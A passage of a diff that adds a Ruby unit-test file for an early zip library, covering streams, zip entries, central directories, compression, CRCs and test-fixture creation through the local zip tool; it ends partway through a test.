+    include AbstractInputStream
+    def initialize(aString)
+      @contents = aString
+      @readPointer = 0
+    end
+
+    def read(charsToRead)
+      retVal=@contents[@readPointer, charsToRead]
+      @readPointer+=charsToRead
+      return retVal
+    end
+
+    def produceInput
+      read(100)
+    end
+
+    def inputFinished?
+      @contents[@readPointer] == nil
+    end
+  end
+
+  def setup
+    @io = TestAbstractInputStream.new(TEST_STRING)
+  end
+  
+  def test_gets
+    assert_equals(TEST_LINES[0], @io.gets)
+    assert_equals(TEST_LINES[1], @io.gets)
+    assert_equals(TEST_LINES[2], @io.gets)
+    assert_equals(nil, @io.gets)
+  end
+
+  def test_getsMultiCharSeperator
+    assert_equals("Hell", @io.gets("ll"))
+    assert_equals("o world#{$/}this is the second l", @io.gets("d l"))
+  end
+
+  def test_each_line
+    lineNumber=0
+    @io.each_line {
+      |line|
+      assert_equals(TEST_LINES[lineNumber], line)
+      lineNumber+=1
+    }
+  end
+
+  def test_readlines
+    assert_equals(TEST_LINES, @io.readlines)
+  end
+
+  def test_readline
+    test_gets
+    begin
+      @io.readline
+      fail "EOFError expected"
+      rescue EOFError
+    end
+  end
+end
+
+class ZipEntryTest < RUNIT::TestCase
+  TEST_ZIPFILE = "someZipFile.zip"
+  TEST_COMMENT = "a comment"
+  TEST_COMPRESSED_SIZE = 1234
+  TEST_CRC = 325324
+  TEST_EXTRA = "Some data here"
+  TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED
+  TEST_NAME = "entry name"
+  TEST_SIZE = 8432
+  TEST_ISDIRECTORY = false
+
+  def test_constructorAndGetters
+    entry = ZipEntry.new(TEST_ZIPFILE,
+			 TEST_NAME,
+			 TEST_COMMENT,
+			 TEST_EXTRA,
+			 TEST_COMPRESSED_SIZE,
+			 TEST_CRC,
+			 TEST_COMPRESSIONMETHOD,
+			 TEST_SIZE)
+
+    assert_equals(TEST_COMMENT, entry.comment)
+    assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize)
+    assert_equals(TEST_CRC, entry.crc)
+    assert_equals(TEST_EXTRA, entry.extra)
+    assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod)
+    assert_equals(TEST_NAME, entry.name)
+    assert_equals(TEST_SIZE, entry.size)
+    assert_equals(TEST_ISDIRECTORY, entry.isDirectory)
+  end
+
+  def test_equality
+    entry1 = ZipEntry.new("file.zip", "name",  "isNotCompared", 
+			  "something extra", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry2 = ZipEntry.new("file.zip", "name",  "isNotComparedXXX", 
+			  "something extra", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extra", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  123, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  123,  
+			  ZipEntry::STORED,   10000)  
+    entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  123,  
+			  ZipEntry::STORED,   100000)  
+
+    assert_equals(entry1, entry1)
+    assert_equals(entry1, entry2)
+
+    assert(entry2 != entry3)
+    assert(entry3 != entry4)
+    assert(entry4 != entry5)
+    assert(entry5 != entry6)
+    assert(entry6 != entry7)
+    assert(entry7 != entry8)
+
+    assert(entry7 != "hello")
+    assert(entry7 != 12)
+  end
+end
+
+module IOizeString
+  attr_reader :tell
+  
+  def read(count = nil)
+    @tell ||= 0
+    count = size unless count
+    retVal = slice(@tell, count)
+    @tell += count
+    return retVal
+  end
+
+  def seek(index, offset)
+    @tell ||= 0
+    case offset
+    when IO::SEEK_END
+      newPos = size + index
+    when IO::SEEK_SET
+      newPos = index
+    when IO::SEEK_CUR
+      newPos = @tell + index
+    else
+      raise "Error in test method IOizeString::seek"
+    end
+    if (newPos < 0 || newPos >= size)
+      raise Errno::EINVAL
+    else
+      @tell=newPos
+    end
+  end
+
+  def reset
+    @tell = 0
+  end
+end
+
+class ZipLocalEntryTest < RUNIT::TestCase
+  def test_readLocalEntryHeaderOfFirstTestZipEntry
+    File.open(TestZipFile::TEST_ZIP3.zipName) {
+      |file|
+      entry = ZipEntry.readLocalEntry(file)
+      
+      assert_equal("", entry.comment)
+      # Differs from windows and unix because of CR LF
+      # assert_equal(480, entry.compressedSize)
+      # assert_equal(0x2a27930f, entry.crc)
+      # extra field is 21 bytes long
+      # probably contains some unix attrutes or something
+      # disabled: assert_equal(nil, entry.extra)
+      assert_equal(ZipEntry::DEFLATED, entry.compressionMethod)
+      assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name)
+      assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size)
+      assert(! entry.isDirectory)
+    }
+  end
+
+  def test_readLocalEntryFromNonZipFile
+    File.open("ziptest.rb") {
+      |file|
+      assert_equals(nil, ZipEntry.readLocalEntry(file))
+    }
+  end
+
+  def test_readLocalEntryFromTruncatedZipFile
+    zipFragment=""
+    File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes
+    zipFragment.extend(IOizeString).reset
+    entry = ZipEntry.new
+    entry.readLocalEntry(zipFragment)
+    fail "ZipError expected"
+  rescue ZipError
+  end
+
+  def test_writeEntry
+    entry = ZipEntry.new("file.zip", "entryName", "my little comment", 
+			 "thisIsSomeExtraInformation", 100, 987654, 
+			 ZipEntry::DEFLATED, 400)
+    writeToFile("localEntryHeader.bin", "centralEntryHeader.bin",  entry)
+    entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin")
+    compareLocalEntryHeaders(entry, entryReadLocal)
+    compareCDirEntryHeaders(entry, entryReadCentral)
+  end
+  
+  private
+  def compareLocalEntryHeaders(entry1, entry2)
+    assert_equals(entry1.compressedSize   , entry2.compressedSize)
+    assert_equals(entry1.crc              , entry2.crc)
+    assert_equals(entry1.extra            , entry2.extra)
+    assert_equals(entry1.compressionMethod, entry2.compressionMethod)
+    assert_equals(entry1.name             , entry2.name)
+    assert_equals(entry1.size             , entry2.size)
+    assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset)
+  end
+
+  def compareCDirEntryHeaders(entry1, entry2)
+    compareLocalEntryHeaders(entry1, entry2)
+    assert_equals(entry1.comment, entry2.comment)
+  end
+
+  def writeToFile(localFileName, centralFileName, entry)
+    File.open(localFileName,   "wb") { |f| entry.writeLocalEntry(f) }
+    File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f)  }
+  end
+
+  def readFromFile(localFileName, centralFileName)
+    localEntry = nil
+    cdirEntry  = nil
+    File.open(localFileName,   "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) }
+    File.open(centralFileName, "rb") { |f| cdirEntry  = ZipEntry.readCDirEntry(f) }
+    return [localEntry, cdirEntry]
+  end
+end
+
+
+module DecompressorTests
+  # expects @refText and @decompressor
+
+  def test_readEverything
+    assert_equals(@refText, @decompressor.read)
+  end
+    
+  def test_readInChunks
+    chunkSize = 5
+    while (decompressedChunk = @decompressor.read(chunkSize))
+      assert_equals(@refText.slice!(0, chunkSize), decompressedChunk)
+    end
+    assert_equals(0, @refText.size)
+  end
+end
+
+class InflaterTest < RUNIT::TestCase
+  include DecompressorTests
+
+  def setup
+    @file = File.new("file1.txt.deflatedData", "rb")
+    @refText=""
+    File.open("file1.txt") { |f| @refText = f.read }
+    @decompressor = Inflater.new(@file)
+  end
+
+  def teardown
+    @file.close
+  end
+end
+
+
+class PassThruDecompressorTest < RUNIT::TestCase
+  include DecompressorTests
+  TEST_FILE="file1.txt"
+  def setup
+    @file = File.new(TEST_FILE)
+    @refText=""
+    File.open(TEST_FILE) { |f| @refText = f.read }
+    @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE))
+  end
+
+  def teardown
+    @file.close
+  end
+end
+
+ 
+module AssertEntry
+  def assertNextEntry(filename, zis)
+    assertEntry(filename, zis, zis.getNextEntry.name)
+  end
+
+  def assertEntry(filename, zis, entryName)
+    assert_equals(filename, entryName)
+    assertEntryContentsForStream(filename, zis, entryName)
+  end
+
+  def assertEntryContentsForStream(filename, zis, entryName)
+    File.open(filename, "rb") {
+      |file|
+      expected = file.read
+      actual   = zis.read
+      if (expected != actual)
+	if (expected.length > 400 || actual.length > 400)
+	  zipEntryFilename=entryName+".zipEntry"
+	  File.open(zipEntryFilename, "wb") { |file| file << actual }
+	  fail("File '#{filename}' is different from '#{zipEntryFilename}'")
+	else
+	  assert_equals(expected, actual)
+	end
+      end
+    }
+  end
+
+  def AssertEntry.assertContents(filename, aString)
+    fileContents = ""
+    File.open(filename, "rb") { |f| fileContents = f.read }
+    if (fileContents != aString)
+      if (expected.length > 400 || actual.length > 400)
+	stringFile = filename + ".other"
+	File.open(stringFile, "wb") { |f| f << aString }
+	fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'")
+      else
+	assert_equals(expected, actual)
+      end
+    end
+  end
+
+  def assertStreamContents(zis, testZipFile)
+    assert(zis != nil)
+    testZipFile.entryNames.each {
+      |entryName|
+      assertNextEntry(entryName, zis)
+    }
+    assert_equals(nil, zis.getNextEntry)
+  end
+
+  def assertTestZipContents(testZipFile)
+    ZipInputStream.open(testZipFile.zipName) {
+      |zis|
+      assertStreamContents(zis, testZipFile)
+    }
+  end
+
+  def assertEntryContents(zipFile, entryName, filename = entryName.to_s)
+    zis = zipFile.getInputStream(entryName)
+    assertEntryContentsForStream(filename, zis, entryName)
+  ensure 
+    zis.close if zis
+  end
+end
+
+
+
+class ZipInputStreamTest < RUNIT::TestCase
+  include AssertEntry
+
+  def test_new
+    zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName)
+    assertStreamContents(zis, TestZipFile::TEST_ZIP2)
+    zis.close    
+  end
+
+  def test_openWithBlock
+    ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) {
+      |zis|
+      assertStreamContents(zis, TestZipFile::TEST_ZIP2)
+    }
+  end
+
+  def test_openWithoutBlock
+    zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName)
+    assertStreamContents(zis, TestZipFile::TEST_ZIP2)
+  end
+
+  def test_incompleteReads
+    ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) {
+      |zis|
+      entry = zis.getNextEntry
+      assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name)
+      assert zis.gets.length > 0
+      entry = zis.getNextEntry
+      assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name)
+      assert_equals(0, entry.size)
+      assert_equals(nil, zis.gets)
+      entry = zis.getNextEntry
+      assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name)
+      assert zis.gets.length > 0
+      entry = zis.getNextEntry
+      assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name)
+      assert zis.gets.length > 0
+    }
+  end
+  
+end
+
+class TestFiles
+  RANDOM_ASCII_FILE1  = "randomAscii1.txt"
+  RANDOM_ASCII_FILE2  = "randomAscii2.txt"
+  RANDOM_ASCII_FILE3  = "randomAscii3.txt"
+  RANDOM_BINARY_FILE1 = "randomBinary1.bin"
+  RANDOM_BINARY_FILE2 = "randomBinary2.bin"
+
+  EMPTY_TEST_DIR      = "emptytestdir"
+
+  ASCII_TEST_FILES  = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] 
+  BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ]
+  TEST_DIRECTORIES  = [ EMPTY_TEST_DIR ]
+  TEST_FILES        = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten!
+
+  def TestFiles.createTestFiles(recreate)
+    if (recreate || 
+	! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) }))
+      
+      ASCII_TEST_FILES.each_with_index { 
+	|filename, index| 
+	createRandomAscii(filename, 1E4 * (index+1))
+      }
+      
+      BINARY_TEST_FILES.each_with_index { 
+	|filename, index| 
+	createRandomBinary(filename, 1E4 * (index+1))
+      }
+
+      ensureDir(EMPTY_TEST_DIR)
+    end
+  end
+
+  private
+  def TestFiles.createRandomAscii(filename, size)
+    File.open(filename, "wb") {
+      |file|
+      while (file.tell < size)
+	file << rand
+      end
+    }
+  end
+
+  def TestFiles.createRandomBinary(filename, size)
+    File.open(filename, "wb") {
+      |file|
+      while (file.tell < size)
+	file << rand.to_a.pack("V")
+      end
+    }
+  end
+
+  def TestFiles.ensureDir(name) 
+    if File.exists?(name)
+      return if File.stat(name).directory?
+      File.delete(name)
+    end
+    Dir.mkdir(name)
+  end
+
+end
+
+# For representation and creation of
+# test data
+class TestZipFile
+  attr_accessor :zipName, :entryNames, :comment
+
+  def initialize(zipName, entryNames, comment = "")
+    @zipName=zipName
+    @entryNames=entryNames
+    @comment = comment
+  end
+
+  def TestZipFile.createTestZips(recreate)
+    files = Dir.entries(".")
+    if (recreate || 
+	    ! (files.index(TEST_ZIP1.zipName) &&
+	       files.index(TEST_ZIP2.zipName) &&
+	       files.index(TEST_ZIP3.zipName) &&
+	       files.index(TEST_ZIP4.zipName) &&
+	       files.index("empty.txt")      &&
+	       files.index("short.txt")      &&
+	       files.index("longAscii.txt")  &&
+	       files.index("longBinary.bin") ))
+      raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless 
+	system("zip #{TEST_ZIP1.zipName} ziptest.rb")
+      raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless 
+	system("zip #{TEST_ZIP1.zipName} -d ziptest.rb")
+      
+      File.open("empty.txt", "w") {}
+      
+      File.open("short.txt", "w") { |file| file << "ABCDEF" }
+      ziptestTxt=""
+      File.open("ziptest.rb") { |file| ziptestTxt=file.read }
+      File.open("longAscii.txt", "w") {
+	|file|
+	while (file.tell < 1E5)
+	  file << ziptestTxt
+	end
+      }
+      
+      testBinaryPattern=""
+      File.open("empty.zip") { |file| testBinaryPattern=file.read }
+      testBinaryPattern *= 4
+      
+      File.open("longBinary.bin", "wb") {
+	|file|
+	while (file.tell < 3E5)
+	  file << testBinaryPattern << rand
+	end
+      }
+      raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless 
+	system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}")
+
+      # without bash system interprets everything after echo as parameters to
+      # echo including | zip -z ...
+      raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless 
+	system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"")
+
+      raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless 
+	system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}")
+
+      raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless 
+	system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}")
+    end
+  rescue 
+    raise $!.to_s + 
+      "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" +
+      "to create test data. If you don't have it you can download\n"   +
+      "the necessary test files at http://sf.net/projects/rubyzip."
+  end
+
+  TEST_ZIP1 = TestZipFile.new("empty.zip", [])
+  TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, 
+			      "my zip comment")
+  TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt })
+  TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", 
+				TestFiles::EMPTY_TEST_DIR])
+end
+
+
+class AbstractOutputStreamTest < RUNIT::TestCase
+  class TestOutputStream
+    include AbstractOutputStream
+
+    attr_accessor :buffer
+
+    def initialize
+      @buffer = ""
+    end
+
+    def << (data)
+      @buffer << data
+      self
+    end
+  end
+
+  def setup
+    @outputStream = TestOutputStream.new
+
+    @origCommaSep = $,
+    @origOutputSep = $\
+  end
+
+  def teardown
+    $, = @origCommaSep
+    $\ = @origOutputSep
+  end
+
+  def test_write
+    count = @outputStream.write("a little string")
+    assert_equals("a little string", @outputStream.buffer)
+    assert_equals("a little string".length, count)
+
+    count = @outputStream.write(". a little more")
+    assert_equals("a little string. a little more", @outputStream.buffer)
+    assert_equals(". a little more".length, count)
+  end
+  
+  def test_print
+    $\ = nil # record separator set to nil
+    @outputStream.print("hello")
+    assert_equals("hello", @outputStream.buffer)
+
+    @outputStream.print(" world.")
+    assert_equals("hello world.", @outputStream.buffer)
+    
+    @outputStream.print(" You ok ",  "out ", "there?")
+    assert_equals("hello world. You ok out there?", @outputStream.buffer)
+
+    $\ = "\n"
+    @outputStream.print
+    assert_equals("hello world. You ok out there?\n", @outputStream.buffer)
+
+    @outputStream.print("I sure hope so!")
+    assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer)
+
+    $, = "X"
+    @outputStream.buffer = ""
+    @outputStream.print("monkey", "duck", "zebra")
+    assert_equals("monkeyXduckXzebra\n", @outputStream.buffer)
+
+    $\ = nil
+    @outputStream.buffer = ""
+    @outputStream.print(20)
+    assert_equals("20", @outputStream.buffer)
+  end
+  
+  def test_printf
+    @outputStream.printf("%d %04x", 123, 123) 
+    assert_equals("123 007b", @outputStream.buffer)
+  end
+  
+  def test_putc
+    @outputStream.putc("A")
+    assert_equals("A", @outputStream.buffer)
+    @outputStream.putc(65)
+    assert_equals("AA", @outputStream.buffer)
+  end
+
+  def test_puts
+    @outputStream.puts
+    assert_equals("\n", @outputStream.buffer)
+
+    @outputStream.puts("hello", "world")
+    assert_equals("\nhello\nworld\n", @outputStream.buffer)
+
+    @outputStream.buffer = ""
+    @outputStream.puts("hello\n", "world\n")
+    assert_equals("hello\nworld\n", @outputStream.buffer)
+    
+    @outputStream.buffer = ""
+    @outputStream.puts(["hello\n", "world\n"])
+    assert_equals("hello\nworld\n", @outputStream.buffer)
+
+    @outputStream.buffer = ""
+    @outputStream.puts(["hello\n", "world\n"], "bingo")
+    assert_equals("hello\nworld\nbingo\n", @outputStream.buffer)
+
+    @outputStream.buffer = ""
+    @outputStream.puts(16, 20, 50, "hello")
+    assert_equals("16\n20\n50\nhello\n", @outputStream.buffer)
+  end
+end
+
+
+module CrcTest
+  def runCrcTest(compressorClass)
+    str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed."
+    fakeOut = AbstractOutputStreamTest::TestOutputStream.new
+    
+    deflater = compressorClass.new(fakeOut)
+    deflater << str
+    assert_equals(0x919920fc, deflater.crc)
+  end
+end
+
+
+
+class PassThruCompressorTest < RUNIT::TestCase
+  include CrcTest
+
+  def test_size
+    File.open("dummy.txt", "wb") {
+      |file|
+      compressor = PassThruCompressor.new(file)
+      
+      assert_equals(0, compressor.size)
+      
+      t1 = "hello world"
+      t2 = ""
+      t3 = "bingo"
+      
+      compressor << t1
+      assert_equals(compressor.size, t1.size)
+      
+      compressor << t2
+      assert_equals(compressor.size, t1.size + t2.size)
+      
+      compressor << t3
+      assert_equals(compressor.size, t1.size + t2.size + t3.size)
+    }
+  end
+
+  def test_crc
+    runCrcTest(PassThruCompressor)
+  end
+end
+
+class DeflaterTest < RUNIT::TestCase
+  include CrcTest
+
+  def test_outputOperator
+    txt = loadFile("ziptest.rb")
+    deflate(txt, "deflatertest.bin")
+    inflatedTxt = inflate("deflatertest.bin")
+    assert_equals(txt, inflatedTxt)
+  end
+
+  private
+  def loadFile(fileName)
+    txt = nil
+    File.open(fileName, "rb") { |f| txt = f.read }
+  end
+
+  def deflate(data, fileName)
+    File.open(fileName, "wb") {
+      |file|
+      deflater = Deflater.new(file)
+      deflater << data
+      deflater.finish
+      assert_equals(deflater.size, data.size)
+      file << "trailing data for zlib with -MAX_WBITS"
+    }
+  end
+
+  def inflate(fileName)
+    txt = nil
+    File.open(fileName, "rb") {
+      |file|
+      inflater = Inflater.new(file)
+      txt = inflater.read
+    }
+  end
+
+  def test_crc
+    runCrcTest(Deflater)
+  end
+end
+
+class ZipOutputStreamTest < RUNIT::TestCase
+  include AssertEntry
+
+  TEST_ZIP = TestZipFile::TEST_ZIP2.clone
+  TEST_ZIP.zipName = "output.zip"
+
+  def test_new
+    zos = ZipOutputStream.new(TEST_ZIP.zipName)
+    zos.comment = TEST_ZIP.comment
+    writeTestZip(zos)
+    zos.close
+    assertTestZipContents(TEST_ZIP)
+  end
+
+  def test_open
+    ZipOutputStream.open(TEST_ZIP.zipName) {
+      |zos|
+      zos.comment = TEST_ZIP.comment
+      writeTestZip(zos)
+    }
+    assertTestZipContents(TEST_ZIP)
+  end
+
+  def test_writingToClosedStream
+    assertIOErrorInClosedStream { |zos| zos << "hello world" }
+    assertIOErrorInClosedStream { |zos| zos.puts "hello world" }
+    assertIOErrorInClosedStream { |zos| zos.write "hello world" }
+  end
+
+  def test_cannotOpenFile
+    name = TestFiles::EMPTY_TEST_DIR
+    begin
+      zos = ZipOutputStream.open(name)
+    rescue Exception
+      assert($!.kind_of?(Errno::EISDIR) || # Linux 
+	     $!.kind_of?(Errno::EEXIST) || # Windows/cygwin
+	     $!.kind_of?(Errno::EACCES),   # Windows
+	      "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}")
+    end
+  end
+
+  def assertIOErrorInClosedStream
+    assert_exception(IOError) {
+      zos = ZipOutputStream.new("test_putOnClosedStream.zip")
+      zos.close
+      yield zos
+    }
+  end
+
+  def writeTestZip(zos)
+    TEST_ZIP.entryNames.each {
+      |entryName|
+      zos.putNextEntry(entryName)
+      File.open(entryName, "rb") { |f| zos.write(f.read) }
+    }
+  end
+end
+
+
+
+module Enumerable
+  def compareEnumerables(otherEnumerable)
+    otherAsArray = otherEnumerable.to_a
+    index=0
+    each_with_index {
+      |element, index|
+      return false unless yield(element, otherAsArray[index])
+    }
+    return index+1 == otherAsArray.size
+  end
+end
+
+
+class ZipCentralDirectoryEntryTest < RUNIT::TestCase
+
+  def test_readFromStream
+    File.open("testDirectory.bin", "rb") {
+      |file|
+      entry = ZipEntry.readCDirEntry(file)
+      
+      assert_equals("longAscii.txt", entry.name)
+      assert_equals(ZipEntry::DEFLATED, entry.compressionMethod)
+      assert_equals(106490, entry.size)
+      assert_equals(3784, entry.compressedSize)
+      assert_equals(0xfcd1799c, entry.crc)
+      assert_equals("", entry.comment)
+
+      entry = ZipEntry.readCDirEntry(file)
+      assert_equals("empty.txt", entry.name)
+      assert_equals(ZipEntry::STORED, entry.compressionMethod)
+      assert_equals(0, entry.size)
+      assert_equals(0, entry.compressedSize)
+      assert_equals(0x0, entry.crc)
+      assert_equals("", entry.comment)
+
+      entry = ZipEntry.readCDirEntry(file)
+      assert_equals("short.txt", entry.name)
+      assert_equals(ZipEntry::STORED, entry.compressionMethod)
+      assert_equals(6, entry.size)
+      assert_equals(6, entry.compressedSize)
+      assert_equals(0xbb76fe69, entry.crc)
+      assert_equals("", entry.comment)
+
+      entry = ZipEntry.readCDirEntry(file)
+      assert_equals("longBinary.bin", entry.name)
+      assert_equals(ZipEntry::DEFLATED, entry.compressionMethod)
+      assert_equals(1000024, entry.size)
+      assert_equals(70847, entry.compressedSize)
+      assert_equals(0x10da7d59, entry.crc)
+      assert_equals("", entry.comment)
+
+      entry = ZipEntry.readCDirEntry(file)
+      assert_equals(nil, entry)
+# Fields that are not check by this test:
+#          version made by                 2 bytes
+#          version needed to extract       2 bytes
+#          general purpose bit flag        2 bytes
+#          last mod file time              2 bytes
+#          last mod file date              2 bytes
+#          compressed size                 4 bytes
+#          uncompressed size               4 bytes
+#          disk number start               2 bytes
+#          internal file attributes        2 bytes
+#          external file attributes        4 bytes
+#          relative offset of local header 4 bytes
+
+#          file name (variable size)
+#          extra field (variable size)
+#          file comment (variable size)
+
+    }
+  end
+
+  def test_ReadEntryFromTruncatedZipFile
+    fragment=""
+    File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes
+    fragment.extend(IOizeString)
+    entry = ZipEntry.new
+    entry.readCDirEntry(fragment)
+    fail "ZipError expected"
+  rescue ZipError
+  end
+
+end
+
+class ZipCentralDirectoryTest < RUNIT::TestCase
+
+  def test_readFromStream
+    File.open(TestZipFile::TEST_ZIP2.zipName, "rb") {
+      |zipFile|
+      cdir = ZipCentralDirectory.readFromStream(zipFile)
+
+      assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size)
+      assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { 
+		      |cdirEntry, testEntryName|
+		      cdirEntry.name == testEntryName
+		    })
+      assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment)
+    }
+  end
+
+  def test_readFromInvalidStream
+    File.open("ziptest.rb", "rb") {
+      |zipFile|
+      cdir = ZipCentralDirectory.new
+      cdir.readFromStream(zipFile)
+    }
+    fail "ZipError expected!"
+  rescue ZipError
+  end
+
+  def test_ReadFromTruncatedZipFile
+    fragment=""
+    File.open("testDirectory.bin") { |f| fragment = f.read }
+    fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete
+    fragment.extend(IOizeString)
+    entry = ZipCentralDirectory.new
+    entry.readFromStream(fragment)
+    fail "ZipError expected"
+  rescue ZipError
+  end
+
+  def test_writeToStream
+    entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"),
+      ZipEntry.new("file.zip", "secondEntryName"),
+      ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ]
+    cdir = ZipCentralDirectory.new(entries, "my zip comment")
+    File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) }
+    cdirReadback = ZipCentralDirectory.new
+    File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) }
+    
+    assert_equals(cdir.entries, cdirReadback.entries)
+  end
+
+  def test_equality
+    cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "secondEntryName"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "my zip comment")
+    cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "secondEntryName"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "my zip comment")
+    cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "secondEntryName"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "comment?")
+    cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, 
+						   "somethingExtra"),
+				     ZipEntry.new("file.zip", "lastEntry.txt") ], 
+				   "comment?")
+    assert_equals(cdir1, cdir1)
+    assert_equals(cdir1, cdir2)
+
+    assert(cdir1 !=  cdir3)
+    assert(cdir2 !=  cdir3)
+    assert(cdir2 !=  cdir3)
+    assert(cdir3 !=  cdir4)
+
+    assert(cdir3 !=  "hello")
+  end
+end
+
+
+class BasicZipFileTest < RUNIT::TestCase
+  include AssertEntry
+
+  def setup
+    @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName)
+    @testEntryNameIndex=0
+  end
+
+  def nextTestEntryName
+    retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex]
+    @testEntryNameIndex+=1
+    return retVal
+  end
+    
+  def test_entries
+    assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} )
+  end
+
+  def test_each
+    @zipFile.each {
+      |entry|
+      assert_equals(nextTestEntryName, entry.name)
+    }
+    assert_equals(4, @testEntryNameIndex)
+  end
+
+  def test_foreach
+    ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) {
+      |entry|
+      assert_equals(nextTestEntryName, entry.name)
+    }
+    assert_equals(4, @testEntryNameIndex)
+  end
+
+  def test_getInputStream
+    @zipFile.each {
+      |entry|
+      assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), 
+		  entry.name)
+    }
+    assert_equals(4, @testEntryNameIndex)
+  end
+
+  def test_getInputStreamBlock
+    fileAndEntryName = @zipFile.entries.first.name
+    @zipFile.getInputStream(fileAndEntryName) {
+      |zis|
+      assertEntryContentsForStream(fileAndEntryName, 
+				   zis, 
+				   fileAndEntryName)
+    }
+  end
+end
+
+class CommonZipFileFixture < RUNIT::TestCase
+  include AssertEntry
+
+  EMPTY_FILENAME = "emptyZipFile.zip"
+
+  TEST_ZIP = TestZipFile::TEST_ZIP2.clone
+  TEST_ZIP.zipName = "4entry_copy.zip"
+
+  def setup
+    File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME)
+    File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName)
+  end
+end
+
+class ZipFileTest < CommonZipFileFixture
+
+  def test_createFromScratch
+    comment  = "a short comment"
+
+    zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE)
+    zf.comment = comment
+    zf.close
+
+    zfRead = ZipFile.new(EMPTY_FILENAME)
+    assert_equals(comment, zfRead.comment)
+    assert_equals(0, zfRead.entries.length)
+  end
+
+  def test_add
+    srcFile   = "ziptest.rb"
+    entryName = "newEntryName.rb" 
+    assert(File.exists? srcFile)
